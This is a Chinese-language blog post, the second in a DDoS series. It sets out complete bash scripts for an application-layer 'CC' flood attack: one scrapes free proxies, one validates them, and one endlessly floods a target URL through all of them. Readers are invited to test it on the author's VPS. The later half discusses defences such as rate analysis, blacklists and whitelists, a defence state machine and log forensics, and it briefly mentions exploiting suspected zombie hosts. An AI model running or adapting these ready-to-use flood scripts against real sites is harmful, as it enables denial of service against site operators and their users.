DDoS攻防戰 (二) :CC攻擊工具實現與防禦理論

故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 爲不得已

知己知彼 百戰不殆 不知彼而知己 一勝一負 不知彼不知己 每戰必敗

——孫子兵法·謀攻

 

  我們將要實現一個進行應用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,並用bash shell腳本來快速實現並驗證這一工具,並在最後,討論如何防禦來自應用層的DDoS攻擊。

  第一步:獲取大量可用代理ip:port列表

  網上所處可見免費代理,我們使用http的GET方法抓取html文檔,接着使用正則過濾出我們需要的ip port對,然後逐一驗證各代理的可用性,最終得到可用的代理ip port對。

1 grab_proxy.sh
 1 #!/bin/bash
 2 
 3 #get proxy list
 4 declare proxyListFile="proxy.txt"
 5 declare tmpFile=`mktemp`
 6 declare url
 7 declare line
 8 declare times
 9 declare ip
10 declare port
11 declare i
12 declare j
13 declare mod
14 
15 function quit() {
16     rm -f $tmpFile
17     exit "$1"
18 }
19 
20 echo "get proxy list... please wait..."
21 
22 if [ -r "$proxyListFile" ]
23 then
24   rm -f $proxyListFile
25 fi
26 
27 touch $proxyListFile
28 
29 for url in  " http://www.youdaili.cn/Daili/guonei/2215.html " \
30             " http://www.youdaili.cn/Daili/guonei/2215_2.html" \
31             " http://www.youdaili.cn/Daili/guonei/2215_3.html" \
32             " http://www.youdaili.cn/Daili/guonei/2215_4.html "
33 do
34     if GET "$url" > $tmpFile
35     then
36         grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
37         | sort -n | uniq | awk -F: '{ printf("%-15s  %s \n",$1,$2); }' >> $proxyListFile
38     else
39         exec 1>&2
40         echo "error: get proxy list fail! chech the url:$url or the network"
41         quit 1
42     fi
43 done
44 
45 echo "done. total `cat $proxyListFile | wc -l` proxy"
46 
47 quit 0
48 #exit
View Code

  參數:

  declare proxyListFile="proxy.txt"  #抓取到的代理ip port對所存放的文件路徑

1 check_proxy.sh
 1 #!/bin/bash
 2 
 3 #get proxy list
 4 declare check_threads=10
 5 declare line
 6 declare times
 7 declare ip
 8 declare port
 9 declare i
10 declare j
11 declare mod
12 
13 function quit() {
14     exit "$1"
15 }
16 
17 #echo "start check proxy's functionality..."
18 
19 #retarget the input file to stdin
20 if [ "$#" -gt "0" ]
21 then
22     exec 0<$1
23 else
24     exec 1>&2
25     echo "usage: bash $0 proxyListFile.txt"
26     echo "error: must have one input arg"
27     quit 1
28 fi
29 
30 #check proxy's functionality
31 times=0
32 while read line
33 do
34     times=$((times+1))
35     j=0
36     for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
37     do
38         j=$((j+1))
39         if [ "$j" -eq 1 ]
40         then
41             ip=$i
42         else
43             port=$i
44         fi
45     done
46     #echo "times=$times ip=$ip port=$port"
47     # start test
48     if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null
49     then 
50         echo "$ip $port"
51         echo ":) ip=$ip port=$port " &>/dev/null
52     else
53         echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2
54     fi &
55     mod=$((times%check_threads))
56     if [ "$mod" -eq "0" ]
57     then
58         wait
59     fi
60 done
61 
62 #close the fd of input file
63 exec 0>&-
64 quit 0
65 #exit
View Code

  參數:

  declare check_threads=10 #驗證代理可用性時的併發數,看一下代碼就會發現,我們使用的是GET http://baidu.com方法,所以,併發數請不要也太高 :) 除非你的目標就是......

  總結:應徵入伍的士兵共計600人,經過考覈的共計449人,如果你還想招募更多的士兵,奉勸一句,苦海無邊,回頭是岸。
 第二步:吹響戰爭號角

 筆者在一臺VPS上建立了一個薄弱的靶機,各位讀者請不要太暴力,測試一下就可以了,地址 http://eecs.cc:8080/

  筆者把這麼重要的信息都放出來了,讀者請點個贊吧  :)

1 cc.sh
 1 #!/bin/bash
 2 
 3 declare target_url="http://eecs.cc:8080/"
 4 declare get_timeout_sec=5
 5 declare line
 6 declare times
 7 declare ip
 8 declare port
 9 declare i
10 declare j
11 
12 function quit() {
13     exit "$1"
14 }
15 
16 #retarget the input file to stdin
17 if ! [ "$#" -gt "0" ]
18 then
19     exec 1>&2
20     echo "challenge collapsar attack -- cc attack"
21     echo "usage: bash $0 proxyListFile.txt"
22     echo "error: must have one input arg"
23     quit 1
24 fi
25 
26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
27 echo "command: target: $target_url"
28 echo "command: start challenge collapsar attack   :)   amazing..."
29 
30 exec 0<$1
31 #start challenge collapsar attack
32 
33 while true
34 do
35     times=0
36     exec 0<&-
37     exec 0<$1
38     while read line
39     do
40         times=$((times+1))
41         j=0
42         for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
43         do
44             j=$((j+1))
45             if [ "$j" -eq 1 ]
46             then
47                 ip=$i
48             else
49                 port=$i
50             fi
51         done
52         echo "times=$times ip=$ip port=$port"
53         #single soldier attack
54         if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 
55         then 
56             echo "soldier$times attack $target_url :)"
57         else
58             echo "soldier$times attack $target_url miss"
59         fi &
60     done
61     wait
62 done
63 
64 #close the fd of input file
65 exec 0>&-
66 quit 0
67 #exit
View Code

  讀者可自行嘗試攻擊這個站點,然後使用瀏覽器訪問查看服務器網絡狀況,此時大量連接處於TIME_WAIT狀態,參考TCP狀態機,這一狀態爲主動關閉一方的最終等待狀態。

  請不要惡意攻擊別人的網站 如果因此被關了進去 沒有人能把你弄出來

   

  應用層DDoS的防禦理論:

  問題模型描述:

  每一個頁面,都有其資源消耗權重,靜態資源,權重較低,動態資源,權重較高。對於用戶訪問,有如下:

  用戶資源使用頻率=使用的服務器總資源量/s

  命題一:對於正常訪問的用戶,資源使用頻率必定位於一個合理的範圍,當然會存在大量正常用戶共享ip的情況,這就需要日常用戶訪問統計,以得到忠實用戶ip白名單。

  命題二:資源使用頻率持續異常的,可斷定爲訪問異常的用戶。

 

  防禦體系狀態機:

  1.在系統各項資源非常寬裕時,向所有ip提供服務,每隔一段時間釋放一部分臨時黑名單中的ip成員;

  2.在系統資源消耗達到某一閾值時,降低Syn包接受速率,循環:分析最近時間的日誌,並將訪問異常的ip加入臨時黑名單;

  3.若系統資源消耗慢慢回降至正常水平,則恢復Syn包接受速率,轉到狀態1;若目前策略並未有效地控制住系統資源消耗的增長,情況繼續惡劣至一極限閾值,轉到狀態4;

  4.最終防禦方案,使用忠實用戶ip白名單、異常訪問ip黑名單策略,其他訪問可慢慢放入,直到系統資源消耗回降至正常水平,轉到狀態1。

 

 上述的防禦狀態機,對於單個攻擊IP高併發的DDOS,變化到狀態3時,效果就完全體現出來了,但如果防禦狀態機進行到4狀態,則有如下兩種可能:

  1.站點遭到了攻擊羣龐大的、單個IP低併發的DDOS攻擊; 

  2.站點突然間有了很多訪問正常的新用戶。

 建議後續工作:

  保守:站點應儘快進行服務能力升級。

  積極:盡所能,追溯攻擊者。 

  

  追溯攻擊者:
   
CC:proxy-forward-from-ip
    單個IP高併發的DDOS:找到訪問異常的、高度可疑的ip列表,exploit,蒐集、分析數據,因爲一個傀儡主機可被二次攻佔的概率很大(但不建議這種方法)
    單個IP低併發的DDOS:以前極少訪問被攻擊站點,但是在攻擊發生時,卻頻繁訪問我們的站點,分析日誌得到這一部分ip列表

   追溯攻擊者的過程中,snat與web proxy增加了追蹤的難度,如果攻擊者採用多箇中繼服務器的方法,追溯將變得極爲困難。

      

  防禦者:

    1.應對當前系統瞭如指掌,如系統最高負載、最高數據處理能力,以及系統防禦體系的強項與弱點
    2.歷史日誌的保存、分析
    3.對當前系統進行嚴格安全審計
    4.上報公安相關部分,努力追溯攻擊者
    5.網站,能靜態,就一定不要動態,可採取定時從主數據庫生成靜態頁面的方式,對需要訪問主數據庫的服務使用驗證機制

    6.防禦者應能從全局的角度,迅速及時地發現系統正在處於什麼程度的攻擊、何種攻擊,在平時,應該建立起攻擊應急策略,規範化操作,免得在急中犯下低級錯誤

  對歷史日誌的分析這時將會非常重要,數據可視化與統計學的方法將會很有益處:

    1.分析每個頁面的平均訪問頻率

    2.對訪問頻率異常的頁面進行詳細分析 分析得到ip-頁面訪問頻率

    3.得到對訪問異常頁面的訪問異常ip列表

    4.對日誌分析得到忠實用戶IP白名單

    5.一般一個頁面會關聯多個資源,一次對於這樣的頁面訪問往往會同時增加多個資源的訪問數,而攻擊程序一般不會加載這些它不感興趣的資源,所以,這也是一個非常好的分析突破點

 

  本文主要講述了DDoS攻擊之一的CC攻擊工具實現,以及如何防禦來自應用層的DDoS攻擊的理論總結。接下來的文章,筆者將會實現一個工作於內核態的、具有黑名單功能的防火牆模塊,以對應於上述防禦狀態機中的防火牆單元,它實現了自主地動態內存管理,使用hash表管理ip列表,並可以自定義hash表的modular。

  如有問題或者建議,歡迎留言討論 :)

   

附錄:

  DDoS攻防戰 (一) : 概述 

發佈了62 篇原創文章 · 獲贊 8 · 訪問量 25萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章